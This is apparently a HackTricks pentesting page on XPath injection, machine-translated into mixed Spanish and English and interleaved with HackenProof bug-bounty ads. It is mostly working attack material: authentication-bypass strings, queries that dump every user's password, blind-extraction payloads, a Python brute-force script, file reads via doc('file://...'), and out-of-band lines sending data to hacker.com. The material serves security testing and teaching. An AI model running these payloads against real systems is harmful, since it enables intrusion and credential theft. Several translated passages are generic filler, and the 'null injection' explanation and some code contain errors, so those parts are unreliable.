hacktricks/pentesting-web/xpath-injection.md

30 KiB

Inyección de XPATH

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof es el hogar de todas las recompensas por errores de criptografía.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof ¡comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

Sintaxis básica

La inyección de XPATH es una técnica de ataque utilizada para explotar aplicaciones que construyen consultas XPath (Lenguaje de Ruta XML) a partir de la entrada proporcionada por el usuario para consultar o navegar por documentos XML.

Información sobre cómo hacer consultas: https://www.w3schools.com/xml/xpath_syntax.asp

Nodos

Expresión Descripción
nodonombre Selecciona todos los nodos con el nombre "nodonombre"
/ Selecciona desde el nodo raíz
// Selecciona nodos en el documento desde el nodo actual que coinciden con la selección sin importar dónde se encuentren
. Selecciona el nodo actual
.. Selecciona el padre del nodo actual
@ Selecciona atributos

Ejemplos:

Expresión de ruta Resultado
librería Selecciona todos los nodos con el nombre "librería"
/librería Selecciona el elemento raíz libreríaNota: Si la ruta comienza con una barra diagonal (/), siempre representa una ruta absoluta a un elemento!
librería/libro Selecciona todos los elementos libro que son hijos de librería
//libro Selecciona todos los elementos libro sin importar dónde se encuentren en el documento
librería//libro Selecciona todos los elementos libro que son descendientes del elemento librería, sin importar dónde se encuentren bajo el elemento librería
//@lang Selecciona todos los atributos que se llaman lang

Predicados

Expresión de ruta Resultado
/librería/libro[1]

Selecciona el primer elemento libro que es hijo del elemento librería.Nota: En IE 5,6,7,8,9 el primer nodo es[0], pero según W3C, es [1]. Para solucionar este problema en IE, establece SelectionLanguage en XPath:

En JavaScript: xml.setProperty("SelectionLanguage","XPath");

/librería/libro[last()] Selecciona el último elemento libro que es hijo del elemento librería
/librería/libro[last()-1] Selecciona el penúltimo elemento libro que es hijo del elemento librería
/librería/libro[position()<3] Selecciona los dos primeros elementos libro que son hijos del elemento librería
//título[@lang] Selecciona todos los elementos título que tienen un atributo llamado lang
//título[@lang='en'] Selecciona todos los elementos título que tienen un atributo "lang" con un valor de "en"
/librería/libro[precio>35.00] Selecciona todos los elementos libro del elemento librería que tienen un elemento precio con un valor mayor a 35.00
/librería/libro[precio>35.00]/título Selecciona todos los elementos título de los elementos libro del elemento librería que tienen un elemento precio con un valor mayor a 35.00

Nodos desconocidos

Comodín Descripción
* Coincide con cualquier nodo de elemento
@* Coincide con cualquier nodo de atributo
node() Coincide con cualquier nodo de cualquier tipo

Ejemplos:

Expresión de ruta Resultado
/libreria/* Selecciona todos los nodos de elementos secundarios del elemento libreria
//* Selecciona todos los elementos en el documento
//titulo[@*] Selecciona todos los elementos de título que tienen al menos un atributo de cualquier tipo

HackenProof es el hogar de todas las recompensas por errores de criptografía.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof ¡comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

Ejemplo

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Acceder a la información

XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath to query XML data. By injecting malicious XPath expressions into user input fields, an attacker can manipulate the XPath query and gain unauthorized access to sensitive information.

To access the information, an attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login pages, or any other input field that is used to retrieve data from an XML source.

Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are used to modify the original XPath query and retrieve specific data from the XML source.

For example, consider a search form that uses XPath to query an XML database of user profiles. The XPath query may look like this:

//users/user[name='John']

By injecting a malicious XPath expression, an attacker can modify the query to retrieve all user profiles instead of just John's profile:

//users/user

This allows the attacker to access sensitive information such as usernames, passwords, and other personal data stored in the XML database.

To prevent XPath Injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for special characters and ensuring that the input conforms to the expected format.

Additionally, using parameterized XPath queries can help mitigate XPath Injection attacks. Parameterized queries separate the query logic from the user input, making it more difficult for an attacker to manipulate the XPath query.

By understanding and implementing proper security measures, web applications can protect against XPath Injection attacks and ensure the confidentiality of sensitive information.

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identificar y robar el esquema

XPath Injection es una técnica de hacking que se utiliza para explotar vulnerabilidades en aplicaciones web que utilizan XPath para consultar bases de datos XML. Al inyectar código malicioso en los parámetros de consulta XPath, un atacante puede obtener información confidencial, como el esquema de la base de datos.

Para identificar y robar el esquema de una base de datos utilizando XPath Injection, se pueden seguir los siguientes pasos:

  1. Identificar la vulnerabilidad: Buscar puntos de entrada en la aplicación web donde se utilice XPath para consultar bases de datos XML. Estos puntos de entrada pueden ser formularios de búsqueda, filtros o cualquier otro lugar donde se ingresen datos que se utilicen en consultas XPath.

  2. Inyectar código malicioso: Una vez identificado el punto de entrada vulnerable, se debe inyectar código XPath malicioso en los parámetros de consulta. El objetivo es manipular la consulta XPath para obtener información adicional, como el esquema de la base de datos.

  3. Obtener el esquema: Utilizando técnicas de inyección XPath, se pueden extraer los datos del esquema de la base de datos. Esto puede incluir información sobre las tablas, columnas, relaciones y otros detalles de la estructura de la base de datos.

Es importante tener en cuenta que el robo de esquemas de bases de datos utilizando XPath Injection es una actividad ilegal y solo debe realizarse con fines educativos y con el consentimiento del propietario del sistema.

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Bypass de Autenticación

Ejemplo de consultas:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

Bypass OR en usuario y contraseña (mismo valor en ambos)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Abuso de la inyección de nulos

Null injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML documents. XPath is a language used to navigate and query XML data.

La inyección de nulos es una técnica utilizada para explotar vulnerabilidades en aplicaciones web que utilizan consultas XPath para recuperar datos de documentos XML. XPath es un lenguaje utilizado para navegar y consultar datos XML.

XPath queries are often used to dynamically construct XML queries based on user input. However, if the application does not properly sanitize or validate user input, an attacker can manipulate the XPath query to inject malicious code.

Las consultas XPath se utilizan a menudo para construir dinámicamente consultas XML basadas en la entrada del usuario. Sin embargo, si la aplicación no sanitiza o valida correctamente la entrada del usuario, un atacante puede manipular la consulta XPath para inyectar código malicioso.

One common way to abuse null injection is by injecting a single quote (') character into the user input. This can cause the XPath query to break and potentially reveal sensitive information or allow for further exploitation.

Una forma común de abusar de la inyección de nulos es inyectar un solo carácter de comilla simple (') en la entrada del usuario. Esto puede hacer que la consulta XPath falle y potencialmente revele información sensible o permita una mayor explotación.

For example, consider the following vulnerable XPath query:

Por ejemplo, considera la siguiente consulta XPath vulnerable:

//users/user[name='{{user_input}}']/password

If the user input is not properly sanitized and an attacker injects a single quote character, the resulting XPath query would be:

Si la entrada del usuario no se sanitiza correctamente y un atacante inyecta un carácter de comilla simple, la consulta XPath resultante sería:

//users/user[name='']/password

This modified query would retrieve the password of an empty username, potentially leaking sensitive information.

Esta consulta modificada recuperaría la contraseña de un nombre de usuario vacío, potencialmente filtrando información sensible.

To prevent null injection attacks, it is important to properly sanitize and validate user input before using it in XPath queries. This can be done by using parameterized queries or input validation techniques.

Para prevenir ataques de inyección de nulos, es importante sanitizar y validar correctamente la entrada del usuario antes de utilizarla en consultas XPath. Esto se puede hacer utilizando consultas parametrizadas o técnicas de validación de entrada.

Username: ' or 1]%00

Doble OR en el nombre de usuario o en la contraseña (es válido con solo 1 campo vulnerable)

IMPORTANTE: Observa que la "y" es la primera operación realizada.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Extracción de cadenas

La salida contiene cadenas y el usuario puede manipular los valores para buscar:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Explotación a ciegas

Obtener la longitud de un valor y extraerlo mediante comparaciones:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Ejemplo en Python

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Leer archivo

La inyección de XPath es una técnica utilizada para explotar vulnerabilidades en aplicaciones web que utilizan XPath para consultar y manipular datos XML. Esta técnica permite a un atacante ejecutar consultas XPath maliciosas que pueden revelar información confidencial o incluso permitir la modificación de datos en la aplicación.

Cómo funciona la inyección de XPath

La inyección de XPath ocurre cuando una aplicación web no valida o filtra adecuadamente los datos de entrada antes de construir una consulta XPath. Un atacante puede aprovechar esta vulnerabilidad al proporcionar datos de entrada maliciosos que alteran la lógica de la consulta XPath original.

Por ejemplo, consideremos una aplicación web que utiliza XPath para buscar usuarios en una base de datos XML. La consulta XPath podría ser algo como:

/users/user[name='John']

Si la aplicación no valida o filtra adecuadamente los datos de entrada, un atacante podría proporcionar un valor malicioso como:

' or 1=1 or ''='

La consulta XPath resultante sería:

/users/user[name='' or 1=1 or ''='']

Esto devolvería todos los usuarios en la base de datos, ya que la condición siempre se evaluaría como verdadera.

Impacto de la inyección de XPath

La inyección de XPath puede tener un impacto significativo en la seguridad de una aplicación web. Al explotar esta vulnerabilidad, un atacante puede obtener acceso no autorizado a información confidencial, como contraseñas, datos personales o incluso credenciales de administrador. Además, también puede modificar datos en la aplicación, lo que puede llevar a resultados no deseados o incluso a la interrupción del funcionamiento normal de la aplicación.

Cómo prevenir la inyección de XPath

Para prevenir la inyección de XPath, es importante implementar las siguientes medidas de seguridad:

  • Validar y filtrar adecuadamente los datos de entrada antes de utilizarlos en consultas XPath.
  • Utilizar consultas parametrizadas o funciones de escape proporcionadas por el lenguaje o marco de desarrollo utilizado.
  • Limitar los privilegios de acceso de la aplicación a los recursos del sistema subyacente.
  • Mantener la aplicación y las bibliotecas utilizadas actualizadas con los últimos parches de seguridad.

Al seguir estas mejores prácticas de seguridad, se puede reducir significativamente el riesgo de inyección de XPath y proteger la aplicación web contra posibles ataques.

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

Explotación OOB

Out-of-Band (OOB) exploitation, also known as blind XPath injection, is a technique used to extract data from a vulnerable web application by leveraging the application's ability to make external requests. This technique is particularly useful when the application does not directly display the extracted data, but instead sends it to an external server.

Exploiting OOB vulnerabilities

To exploit an OOB vulnerability, an attacker injects malicious XPath queries into user-controlled input fields, such as search boxes or form inputs. These queries are designed to extract sensitive information from the application's database.

The attacker can then observe the application's behavior to determine if the injected query was successful. This can be done by monitoring the external server for incoming requests or by triggering specific actions within the application that result in different responses.

Techniques for OOB exploitation

There are several techniques that can be used to exploit OOB vulnerabilities:

  1. Blind OOB exploitation: In this technique, the attacker injects XPath queries that cause the application to make requests to an external server controlled by the attacker. The attacker can then analyze the incoming requests to extract sensitive information.

  2. Time-based exploitation: This technique involves injecting XPath queries that cause the application to delay its response. By measuring the time it takes for the application to respond, the attacker can infer whether the injected query was successful or not.

  3. Error-based exploitation: In this technique, the attacker injects XPath queries that intentionally cause the application to generate errors. The error messages returned by the application can contain valuable information that can be used to extract data.

Mitigating OOB vulnerabilities

To mitigate OOB vulnerabilities, it is important to follow secure coding practices and implement input validation and sanitization techniques. Additionally, web application firewalls (WAFs) can be used to detect and block malicious requests.

Regular security assessments, such as penetration testing, can also help identify and address OOB vulnerabilities before they can be exploited by attackers.

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Herramienta automática

{% embed url="https://xcat.readthedocs.io/" %}

Referencias

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}

HackenProof es el hogar de todas las recompensas por errores de criptografía.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof y comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥